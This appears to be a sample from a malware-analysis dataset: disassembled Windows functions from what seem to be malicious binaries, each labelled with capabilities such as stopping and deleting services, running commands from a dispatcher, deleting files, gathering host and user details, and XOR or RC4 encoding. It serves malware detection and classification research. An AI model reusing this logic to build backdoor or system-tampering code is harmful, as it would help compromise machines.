joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4037c0
Capabilities:
Delete service
Get common file path
Query service status
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x278
push 0x104
lea eax, [ebp - 0x270]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push str.winnet.exe
lea ecx, [ebp - 0x270]
push ecx
call sub.MSVCR100.dll_strcat
add esp, 8
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 0x274], eax
push 0xf01ff
push str.IIS_Angent
mov edx, dword [ebp - 0x274]
push edx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x403833
mov eax, dword [ebp - 0x274]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x403896
lea ecx, [ebp - 0x164]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
je 0x40388c
cmp dword [ebp - 0x160], 1
je 0x40388c
lea eax, [ebp - 0x164]
push eax
push 1
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x40388c
cmp dword [ebp - 0x160], 3
jne 0x40388c
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [ebp - 0x164]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
jmp 0x403868
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_DeleteService]
mov edx, dword [ebp - 0x274]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push 0x5dc
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x148]
push ecx
lea edx, [ebp - 0x270]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x278], eax
cmp dword [ebp - 0x278], 0xffffffff
je 0x4038e8
mov eax, dword [ebp - 0x278]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov esp, ebp
pop ebp
ret
Function at 0x4038f0
Capabilities:
Create process on windows
Create thread
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2d4
push esi
push edi
mov dword [ebp - 4], 0
mov eax, dword [ebp + 8]
movzx ecx, byte [eax]
mov dword [ebp - 0x2d4], ecx
mov edx, dword [ebp - 0x2d4]
sub edx, 4
mov dword [ebp - 0x2d4], edx
cmp dword [ebp - 0x2d4], 0xdb
ja case.0x40393a.1
mov eax, dword [ebp - 0x2d4]
movzx ecx, byte [eax + 0x403b94]
jmp dword [ecx*4 + 0x403b60]
call fcn.004037c0
call fcn.00403750
jmp case.0x40393a.1
call fcn.00403750
jmp case.0x40393a.1
mov edx, dword [section..data]
push edx
call fcn.004035c0
add esp, 4
jmp case.0x40393a.1
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 1]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
push edx
call fcn.00403570
add esp, 4
mov dword [ebp - 8], eax
push 5
push 0
lea eax, [ebp - 0x14]
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
push 4
lea ecx, [ebp - 8]
push ecx
lea edx, [ebp - 0x14]
push edx
call sub.MSVCR100.dll_memcpy
add esp, 0xc
push 0
push 3
push 4
lea eax, [ebp - 0x14]
push eax
mov ecx, dword [section..data]
push ecx
call fcn.00401960
jmp case.0x40393a.1
mov edx, dword [ebp + 8]
add edx, 1
push edx
push 0x4074d0
push 0x40b438
call dword [sym.imp.MSVCR100.dll_sprintf]
add esp, 0xc
push 0x40b438
mov eax, dword [section..data]
push eax
call fcn.00402ad0
add esp, 8
jmp case.0x40393a.1
mov ecx, dword [section..data]
push ecx
call section..text
jmp case.0x40393a.1
mov edx, dword [ebp + 8]
add edx, 1
push edx
push 0x4074d4
push 0x40b438
call dword [sym.imp.MSVCR100.dll_sprintf]
add esp, 0xc
push 0x40b438
mov eax, dword [section..data]
push eax
call fcn.00401130
jmp case.0x40393a.1
push 0
push 0
push 0xb8
lea ecx, [ebp - 0xd0]
push ecx
mov edx, dword [section..data]
push edx
call fcn.00401ac0
sub esp, 0xb8
mov ecx, 0x2e
lea esi, [ebp - 0xd0]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
mov eax, dword [section..data]
push eax
call fcn.00401420
jmp case.0x40393a.1
mov ecx, dword [ebp + 8]
add ecx, 1
push ecx
push 0x4074d8
push 0x40b438
call dword [sym.imp.MSVCR100.dll_sprintf]
add esp, 0xc
push 0
push 0
push 0
push 0x403c70
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp case.0x40393a.1
push 0xff
push 0
lea edx, [ebp - 0x1d0]
push edx
call sub.MSVCR100.dll_memset
add esp, 0xc
mov eax, dword [ebp + 8]
add eax, 1
push eax
push 0x4074dc
lea ecx, [ebp - 0x1d0]
push ecx
call dword [sym.imp.MSVCR100.dll_sprintf]
add esp, 0xc
lea edx, [ebp - 0x1d0]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp case.0x40393a.1
push 0xff
push 0
lea eax, [ebp - 0x2d0]
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
mov ecx, dword [ebp + 8]
add ecx, 1
push ecx
push 0x4074e0
lea edx, [ebp - 0x2d0]
push edx
call dword [sym.imp.MSVCR100.dll_sprintf]
add esp, 0xc
push 1
push 0
push 0
lea eax, [ebp - 0x2d0]
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp case.0x40393a.1
cmp dword [0x40b838], 0
jne case.0x40393a.1
push 0
push 0
push 0
push 0x403d70
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, dword [ebp - 4]
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x405dc0
Capabilities:
Check os version
Get hostname
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2ac
mov dword [ebp - 0x20c], 0x100
push 0x100
push 0
lea eax, [ebp - 0x100]
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x20c]
push ecx
lea edx, [ebp - 0x100]
push edx
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
jne 0x405e08
xor al, al
jmp 0x406000
mov eax, dword [ebp - 0x20c]
mov byte [ebp + eax - 0x100], 0
mov ecx, dword [ebp + 8]
mov byte [ecx], 0
lea edx, [ebp - 0x100]
push edx
mov eax, dword [ebp + 8]
push eax
call sub.MSVCR100.dll_strcat
add esp, 8
mov dword [ebp - 0x104], 0x100
push 0x100
push 0
lea ecx, [ebp - 0x208]
push ecx
call sub.MSVCR100.dll_memset
add esp, 0xc
lea edx, [ebp - 0x104]
push edx
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
jne 0x405e6e
xor al, al
jmp 0x406000
mov ecx, dword [ebp - 0x104]
mov byte [ebp + ecx - 0x208], 0
push 0x4074ec
mov edx, dword [ebp + 8]
push edx
call sub.MSVCR100.dll_strcat
add esp, 8
lea eax, [ebp - 0x208]
push eax
mov ecx, dword [ebp + 8]
push ecx
call sub.MSVCR100.dll_strcat
add esp, 8
mov edx, dword [ebp + 8]
mov byte [edx + 0x40], 0
push 0x94
push 0
lea eax, [ebp - 0x2a8]
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
mov dword [ebp - 0x2a8], 0x94
lea ecx, [ebp - 0x2a8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x405edf
xor al, al
jmp 0x406000
mov edx, dword [ebp - 0x298]
mov dword [ebp - 0x2ac], edx
cmp dword [ebp - 0x2ac], 1
je 0x405f97
cmp dword [ebp - 0x2ac], 2
je 0x405f06
jmp 0x405fe3
cmp dword [ebp - 0x2a4], 5
jne 0x405f2c
cmp dword [ebp - 0x2a0], 2
jne 0x405f2c
push str.Windows2003
mov eax, dword [ebp + 8]
add eax, 0x40
push eax
call sub.MSVCR100.dll_strcat
add esp, 8
cmp dword [ebp - 0x2a4], 5
jne 0x405f52
cmp dword [ebp - 0x2a0], 1
jne 0x405f52
push str.WindowsXP
mov ecx, dword [ebp + 8]
add ecx, 0x40
push ecx
call sub.MSVCR100.dll_strcat
add esp, 8
cmp dword [ebp - 0x2a4], 5
jne 0x405f78
cmp dword [ebp - 0x2a0], 0
jne 0x405f78
push str.Windows2000
mov edx, dword [ebp + 8]
add edx, 0x40
push edx
call sub.MSVCR100.dll_strcat
add esp, 8
cmp dword [ebp - 0x2a4], 4
ja 0x405f95
push str.WindowsNT
mov eax, dword [ebp + 8]
add eax, 0x40
push eax
call sub.MSVCR100.dll_strcat
add esp, 8
jmp 0x405fe3
cmp dword [ebp - 0x2a4], 4
jne 0x405fbd
cmp dword [ebp - 0x2a0], 0
jne 0x405fbd
push str.Windows95
mov ecx, dword [ebp + 8]
add ecx, 0x40
push ecx
call sub.MSVCR100.dll_strcat
add esp, 8
cmp dword [ebp - 0x2a4], 4
jne 0x405fe3
cmp dword [ebp - 0x2a0], 0xa
jne 0x405fe3
push str.Windows98
mov edx, dword [ebp + 8]
add edx, 0x40
push edx
call sub.MSVCR100.dll_strcat
add esp, 8
mov eax, dword [ebp + 8]
mov byte [eax + 0x4c], 0
push str.060211
mov ecx, dword [ebp + 8]
add ecx, 0x4c
push ecx
call sub.MSVCR100.dll_strcpy
add esp, 8
mov al, 1
mov esp, ebp
pop ebp
ret
Function at 0x402d54
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
add esp, 0xfffffef4
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.004043b4
test esi, esi
jne 0x402d8b
push 0x105
lea eax, [esp + 8]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
lea edx, [esp + 4]
mov eax, ebx
call fcn.004044a4
jmp 0x402dac
call sub.kernel32.dll_GetCommandLineA
mov dword [esp], eax
mov edx, ebx
mov eax, dword [esp]
call fcn.00402bf0
mov dword [esp], eax
test esi, esi
je 0x402dac
cmp dword [ebx], 0
je 0x402dac
dec esi
jmp 0x402d93
add esp, 0x10c
pop esi
pop ebx
ret

Function at 0x40374c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x421020]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x4037e4
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x4037c4
xor eax, eax
push ebp
push 0x4037bd
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x403800
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4037c4
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x421020]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x421020], ax
mov esp, ebp
pop ebp
ret

Function at 0x404230
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x423044], 0
je 0x404291
cmp word [0x423218], 0xd7b2
jne 0x404259
cmp dword [0x423220], 0
jbe 0x404259
mov eax, 0x423214
call dword [0x423230]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x421070
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x4042b8
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x421030], 0
jne 0x4042ad
push 0
push 0x421068
push 0x421070
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret
Function at 0x405f08
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x405f6e
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.00404624
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.004031d8
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x405f58
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405f75
lea eax, [ebp - 0x10]
call fcn.004043b4
ret

Function at 0x407d94
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
push 0
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_ReadFile_1
test eax, eax
jne 0x407dc5
mov dword [ebp - 0x10], 0xffffffff
mov eax, dword [ebp - 0x10]
mov esp, ebp
pop ebp
ret

Function at 0x407dcc
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
push 0
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_WriteFile_1
test eax, eax
jne 0x407dfd
mov dword [ebp - 0x10], 0xffffffff
mov eax, dword [ebp - 0x10]
mov esp, ebp
pop ebp
ret

Function at 0x40aac0
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef0
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
push pe_nt_image_headers32
lea eax, [ebp - 0x110]
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jle 0x40ab08
mov ecx, dword [ebp - 0x10]
dec ecx
lea edx, [ebp - 0x110]
mov eax, dword [ebp + 8]
call fcn.004044a4
jmp 0x40ab13
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0xc]
call fcn.00404408
mov esp, ebp
pop ebp
ret 4

Function at 0x40ab1c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
mov byte [ebp - 9], cl
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
push 2
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40ab4a
mov al, byte [ebp - 0xc]
mov byte [ebp - 0xa], al
jmp 0x40ab50
mov al, byte [ebp - 9]
mov byte [ebp - 0xa], al
mov al, byte [ebp - 0xa]
mov esp, ebp
pop ebp
ret
Function at 0x40b2d8
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbb4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
push 0x400
lea ecx, [ebp - 0x44c]
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.0040b120
mov eax, dword [0x422038]
cmp byte [eax], 0
je 0x40b36b
mov eax, dword [0x421f40]
call fcn.0040312c
call fcn.00402b1c
lea eax, [ebp - 0x44c]
push eax
lea eax, [ebp - 0x44c]
push eax
call sub.user32.dll_CharToOemA
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x44c]
call fcn.0040805c
push eax
lea eax, [ebp - 0x44c]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [ebp - 0xc]
push eax
push 2
push 0x40b3b0
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x40b3a1
push 0x40
lea eax, [ebp - 0x4c]
push eax
mov eax, dword [0x421f1c]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x423660]
call fcn.004053b0
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x44c]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
mov esp, ebp
pop ebp
ret

Function at 0x40c39c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
xor edx, edx
mov dword [ebp - 0x14], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x40c406
push dword fs:[eax]
mov dword fs:[eax], esp
push 7
lea eax, [ebp - 0xf]
push eax
push 0x1004
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
lea eax, [ebp - 0x14]
lea edx, [ebp - 0xf]
mov ecx, 7
call fcn.00404624
mov eax, dword [ebp - 0x14]
push eax
call sub.kernel32.dll_GetACP
mov edx, eax
pop eax
call fcn.00407a88
mov dword [ebp - 8], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40c40d
lea eax, [ebp - 0x14]
call fcn.004043b4
ret

Function at 0x415fe0
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x415fe6
ret

Function at 0x41858c
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 0x2c]
push eax
call sub.kernel32.dll_GetSystemInfo
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 8]
dec ecx
js 0x4185dd
lea eax, [ebp - 0x2c]
cmp word [eax + 0x20], 3
je 0x4185c4
mov eax, dword [edx + ecx*4]
bswap eax
shr eax, 8
mov dword [edx + ecx*4], eax
dec ecx
jns 0x4185b4
jmp 0x4185dd
push ebx
xor ebx, ebx
mov eax, dword [edx + ecx*4]
mov bh, al
mov bl, ah
shr eax, 0x10
shl ebx, 8
mov bl, al
mov dword [edx + ecx*4], ebx
dec ecx
jns 0x4185c5
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x405bf0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0xc]
push edi
mov ecx, dword [esi + 0xc]
lea edi, [esi + 0x1c]
mov eax, dword [esi + 0x14]
mov edx, ecx
cmp ecx, eax
jne 0x405c91
mov ebx, ecx
lea esp, [esp]
cmp dword [esi + 0x10], 0
mov ecx, ebx
jne 0x405c8f
mov ecx, esi
mov dword [esi + 0xc], 0
call fcn.00405d60
shl eax, 0x18
mov ecx, esi
mov dword [esi + 0x14], eax
call fcn.00405d60
shl eax, 0x10
mov ecx, esi
or dword [esi + 0x14], eax
call fcn.00405d60
shl eax, 8
mov ecx, esi
or dword [esi + 0x14], eax
call fcn.00405d60
or dword [esi + 0x14], eax
mov ecx, esi
call fcn.00405d60
shl eax, 0x18
mov ecx, esi
mov dword [esi + 0x18], eax
call fcn.00405d60
shl eax, 0x10
mov ecx, esi
or dword [esi + 0x18], eax
call fcn.00405d60
shl eax, 8
mov ecx, esi
or dword [esi + 0x18], eax
call fcn.00405d60
or dword [esi + 0x18], eax
mov ecx, dword [esi + 0xc]
mov edx, ecx
mov eax, dword [esi + 0x14]
mov ebx, ecx
cmp ecx, eax
je 0x405c10
cmp ecx, eax
jge 0x405cc2
cmp dword [esi + 0x10], 5
jge 0x405cc2
push 4
lea eax, [edi + 1]
push edi
push eax
call fcn.00401600
add esp, 0xc
mov ecx, esi
call fcn.00405d60
mov byte [edi], al
inc dword [esi + 0x10]
mov eax, dword [esi + 0xc]
lea edx, [eax + 1]
mov dword [esi + 0xc], edx
cmp edx, dword [esi + 0x14]
jl 0x405c93
mov ebx, dword [esi + 0x10]
cmp ebx, 5
jne 0x405d43
mov al, byte [edi + 4]
cmp al, 0xe8
je 0x405cd5
cmp al, 0xe9
jne 0x405d43
mov al, byte [edi]
mov byte [esp + 0x10], al
test al, al
je 0x405ce8
mov ebx, 5
cmp al, 0xff
jne 0x405d43
lea ecx, [edx - 5]
mov ebx, 5
lea eax, [edx - 1]
xor ecx, eax
test ecx, 0xffff0000
jne 0x405d43
movzx ecx, byte [esp + 0x10]
movzx eax, byte [edi + 1]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi + 2]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi + 3]
shl ecx, 8
or ecx, eax
sub ecx, dword [esi + 0x18]
sub ecx, edx
shl ecx, 7
sar ecx, 7
mov eax, ecx
mov byte [edi + 3], cl
sar eax, 8
mov byte [edi + 2], al
mov eax, ecx
sar eax, 0x10
sar ecx, 0x18
mov byte [edi + 1], al
mov byte [edi], cl
mov ebx, dword [esi + 0x10]
lea eax, [ebx - 1]
mov dword [esi + 0x10], eax
movzx eax, byte [eax + edi]
pop edi
pop esi
pop ebx
ret 4
Function at 0x40e260
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
sub esp, 0x210
push ebx
mov ebx, dword [esp + 0x218]
push esi
mov esi, dword [esp + 0x220]
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
test eax, eax
je 0x40e398
lea eax, [esp + 0xc]
push eax
push 0x20019
push 0
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x40e2b5
cmp eax, 2
je 0x40e398
pop esi
or eax, 0xffffffff
pop ebx
add esp, 0x210
ret 8
push ebp
push edi
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edi, eax
movzx eax, word [esi + edi*2 - 2]
cmp eax, 0x5c
je 0x40e2cf
cmp eax, 0x2f
jne 0x40e2d0
dec edi
mov ebp, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
lea eax, [esp + 0x10]
push 0
push 0
push 0
push 0
push eax
lea eax, [esp + 0x2c]
mov dword [esp + 0x24], 0x104
push eax
push 0
push dword [esp + 0x30]
call ebp
test eax, eax
jne 0x40e370
add edi, edi
lea ecx, [esp + 0x1a]
add ecx, edi
mov eax, dword [esp + 0x10]
lea eax, [eax*2 + 2]
push eax
lea eax, [esp + 0x1c]
push eax
push ecx
call fcn.00401600
push edi
lea eax, [esp + 0x28]
push esi
push eax
call fcn.004015a0
add esp, 0x18
mov eax, 0x5c
mov word [esp + edi + 0x18], ax
lea eax, [esp + 0x18]
push eax
push ebx
call fcn.0040e260
test eax, eax
js 0x40e370
push 0
push 0
push 0
push 0
lea eax, [esp + 0x20]
mov dword [esp + 0x20], 0x104
push eax
lea eax, [esp + 0x2c]
push eax
push 0
push dword [esp + 0x30]
call ebp
lea ecx, [esp + 0x1a]
lea ecx, [ecx + edi]
test eax, eax
je 0x40e304
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
pop edi
pop ebp
test eax, eax
je 0x40e398
pop esi
mov eax, 0xfffffffe
pop ebx
add esp, 0x210
ret 8
pop esi
xor eax, eax
pop ebx
add esp, 0x210
ret 8

Function at 0x40e3b0
Capabilities:
Enumerate pe sections

Disassembly:
mov edx, dword [esp + 4]
push esi
mov ecx, dword [edx + 0x3c]
movzx eax, word [ecx + edx + 0x14]
movzx esi, word [ecx + edx + 6]
add eax, 0x18
add eax, ecx
add eax, edx
test si, si
jne 0x40e3e2
mov eax, dword [ecx + edx + 0x54]
add eax, dword [ecx + edx + 0x24]
add eax, dword [ecx + edx + 0x20]
add eax, dword [ecx + edx + 0x1c]
pop esi
ret 4
mov edx, eax
test esi, esi
je 0x40e3fa
mov ecx, dword [eax + 0x14]
cmp ecx, dword [edx + 0x14]
jbe 0x40e3f2
mov edx, eax
add eax, 0x28
sub esi, 1
jne 0x40e3e8
mov eax, dword [edx + 0x14]
add eax, dword [edx + 0x10]
pop esi
ret 4
Function at 0x40f370
Capabilities:
Enumerate pe sections

Disassembly:
mov edx, dword [esp + 4]
push ebx
push esi
xor esi, esi
mov ecx, dword [edx + 0x3c]
push edi
movzx eax, word [ecx + edx + 0x14]
movzx ebx, word [ecx + edx + 6]
add eax, 0x18
add eax, ecx
add eax, edx
test ebx, ebx
je 0x40f3ad
mov edx, dword [esp + 0x14]
mov edi, dword [eax + 0xc]
cmp edi, edx
ja 0x40f3a5
mov ecx, dword [eax + 8]
add ecx, edi
cmp ecx, edx
ja 0x40f3b5
inc esi
add eax, 0x28
cmp esi, ebx
jl 0x40f395
pop edi
pop esi
xor eax, eax
pop ebx
ret 8
sub edx, edi
cmp edx, dword [eax + 0x10]
jae 0x40f3ad
mov eax, dword [eax + 0x14]
pop edi
pop esi
add eax, edx
pop ebx
ret 8

Function at 0x40f3d0
Capabilities:
Delete service
Stop service

Disassembly:
sub esp, 0x1c
push esi
mov esi, ecx
mov eax, dword [esi + 4]
cmp eax, 0xffffffff
je 0x40f3ec
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi + 4], 0xffffffff
cmp byte [esi], 0
je 0x40f416
lea eax, [esp + 4]
push eax
push 1
push dword [esi + 0xc]
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
jne 0x40f40b
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, esi
pop esi
add esp, 0x1c
jmp fcn.004134a0
pop esi
add esp, 0x1c
ret
Function at 0x40fbd0
Capabilities:
Create thread

Disassembly:
sub esp, 0x24c
mov eax, dword [esp + 0x250]
push esi
mov dword [esp + 0x14], eax
mov esi, ecx
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x258]
mov dword [esp + 0x10], eax
mov dword [esp + 0x28], eax
mov eax, dword [esp + 0x25c]
mov dword [esp + 0x30], eax
lea eax, [esi + 0xb0]
push eax
lea eax, [esp + 0x44]
mov dword [esp + 0x1c], 0
push str.._ls
push eax
mov dword [esp + 0x44], 0
mov byte [esp + 0x28], 0
mov byte [esp + 0x48], 0
mov dword [esp + 0x2c], 0
mov dword [esp + 0x30], 0
mov dword [esp + 0x40], 0
mov dword [esi + 4], 0
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [esp + 0x40]
push 0
push 0
push 3
push 0
push 3
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [esi], eax
test eax, eax
je 0x40fdf5
cmp eax, 0xffffffff
je 0x40fdf5
push ebp
push edi
mov edi, dword [sym.imp.KERNEL32.dll_DeviceIoControl]
lea ecx, [esp + 0xc]
push 0
push ecx
push 4
lea ebp, [esi + 8]
mov dword [esp + 0x18], 0
push ebp
push 0x1c
lea ecx, [esp + 0x3c]
push ecx
push 0x2220bc
push eax
call edi
mov ecx, dword [esp + 0xc]
mov dword [esp + 0x10], ecx
test eax, eax
jne 0x40fd08
push eax
mov dword [esp + 0x10], eax
lea eax, [esp + 0x10]
push eax
push 4
push ebp
push 0xc
lea eax, [esp + 0x2c]
push eax
push 0x2220a8
push dword [esi]
call edi
mov ecx, dword [esp + 0xc]
mov dword [esp + 0x10], ecx
test eax, eax
jne 0x40fd08
mov eax, dword [esi]
cmp eax, 0xffffffff
je 0x40fcf1
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop ebp
mov dword [esi], 0xffffffff
mov eax, 0xfffffffe
pop esi
add esp, 0x24c
ret 0xc
mov eax, dword [esi]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp eax, 0xffffffff
je 0x40fd19
push eax
call ebx
push 0
lea eax, [esp + 0x18]
mov dword [esi], 0xffffffff
push eax
push 4
lea eax, [esi + 4]
push eax
push 0
push 0
push 0x2220ac
push dword [ebp]
call edi
test eax, eax
jne 0x40fd50
pop ebx
pop edi
pop ebp
mov eax, 0xfffffffd
pop esi
add esp, 0x24c
ret 0xc
push 0
lea eax, [esp + 0x14]
mov dword [esp + 0x1c], 1
push eax
push 0
push 0
push 4
lea eax, [esp + 0x2c]
mov dword [esp + 0x24], 0
push eax
push 0x222018
push dword [esi + 4]
call edi
test eax, eax
jne 0x40fd92
pop ebx
pop edi
pop ebp
mov eax, 0xfffffffc
pop esi
add esp, 0x24c
ret 0xc
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [esi + 0x14], eax
lea eax, [esp + 0x14]
push eax
push 0
push esi
push 0x414720
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esi + 0x10], eax
test eax, eax
jne 0x40fdd3
pop ebx
pop edi
pop ebp
mov eax, 0xfffffffb
pop esi
add esp, 0x24c
ret 0xc
push 0x2328
push dword [esi + 0x14]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [esi + 0x14]
call ebx
pop ebx
pop edi
pop ebp
xor eax, eax
pop esi
add esp, 0x24c
ret 0xc
or eax, 0xffffffff
pop esi
